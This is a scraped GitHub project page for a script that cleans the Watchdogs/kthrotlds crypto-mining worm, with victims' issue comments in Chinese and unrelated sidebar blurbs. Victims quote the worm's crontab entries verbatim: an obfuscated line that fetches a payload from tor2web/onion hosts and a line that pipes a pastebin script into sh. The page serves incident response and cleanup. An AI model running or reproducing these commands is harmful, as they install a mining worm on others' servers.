moreseclab / ddg_malware_clean_tool Goto Github PK
View Code? Open in Web Editor NEWWatchdogs 、kthrotlds 挖矿蠕虫清理脚本。
Watchdogs 、kthrotlds 挖矿蠕虫清理脚本。
但是我把kthrotlds10分钟进程没启动,这个是手动杀的,但是tmp这个文件始终都是我往里面写东西就立即删除,修改定时任务也报错,用了您的脚本也没办法解决
我的ECS遇到了这个病毒的新变种,进程名为[kthrotlds]
crontab -l
内容如下,应该是换汤不换药,但是无法删除:
# crontab -l */12 * * * * R=$(shuf -i 1-29 -n 1);sleep ${R:-0};BP=$(dirname "$(command -v yes)");BP=${BP:-"/usr/bin"};G1="curl";if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ];then G1="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && G1="$f" && break;done;fi;G2="wget";if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ];then G2="echo";for f in ${BP}/*;do strings $f 2>/dev/null|grep -q "to <[email protected]>" && G2="$f" && break;done;fi;if [ $(cat /etc/hosts|grep -i "onion.\|timesync.su\|tor2web"|wc -l) -ne 0 ];then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1;fi; C=" -fsSLk --connect-timeout 26 --max-time 75 ";W=" --quiet --tries=1 --no-check-certificate --connect-timeout=26 --timeout=75 ";H="https://an7kmd2wp4xo7hpr";T1=".tor2web.su/";T2=".d2web.org/";T3=".onion.sh/";P="src/ldm";($G1 $C $H$T1$P||$G1 $C $H$T2$P||$G1 $C $H$T3$P||$G2 $W $H$T1$P||$G2 $W $H$T2$P||$G2 $W $H$T3$P)|sh & #
不知你们是否有兴趣研究并修复👍
清理两个执行脚本过后几分钟后 crontab -l 仍然出现 下载挖矿程序任务
*/15 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh
如何解决,难道要卸载crontab?
增加清理/usr/bin下的kthrotlds
清理etc/cron.d/root 之前增加chattr -i etc/cron.d/root,当前该病毒版本会修改这个文件属性
清理/var/spool/cron/root 也一样
rm: can't remove '/etc/ld.so.preload': Permission denied
如题
用法:
kill [选项] <pid|名称> [...]
选项:
-a, --all 不限于只对和当前进程的用户 id 相同的进程进行
名称-进程id 转换
-s, --signal <信号> 发送指定的信号
-q, --queue <信号> 使用 sigqueue(2) 代替 kill(2)
-p, --pid 打印 pid 而不向它们发送信号
-l, --list [=<信号>] 列出信号名,或将一个信号转换为名称
-L, --table 列出信号名和数值
-h, --help 显示此帮助并退出
-V, --version 输出版本信息并退出
更多信息请参阅 kill(1)。
用法:
kill [选项] <pid|名称> [...]
选项:
-a, --all 不限于只对和当前进程的用户 id 相同的进程进行
名称-进程id 转换
-s, --signal <信号> 发送指定的信号
-q, --queue <信号> 使用 sigqueue(2) 代替 kill(2)
-p, --pid 打印 pid 而不向它们发送信号
-l, --list [=<信号>] 列出信号名,或将一个信号转换为名称
-L, --table 列出信号名和数值
-h, --help 显示此帮助并退出
-V, --version 输出版本信息并退出
更多信息请参阅 kill(1)。
服务 watchdogs 信息读取出错:没有那个文件或目录
chkconfig 版本 1.7.4 - 版权 (C) 1997-2000 Red Hat, Inc.
在 GNU 公共许可条款下,本软件可以免费重新发布。
用法:chkconfig [--list] [--type ] [name]
chkconfig --add
chkconfig --del
chkconfig --override
chkconfig [--level ] [--type ] <on|off|reset|resetpriorities>
Redirecting to /bin/systemctl start crond.service
Done, Please reboot!
您在 /var/spool/mail/root 中有新邮件
感染后root账号修改不了密码
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.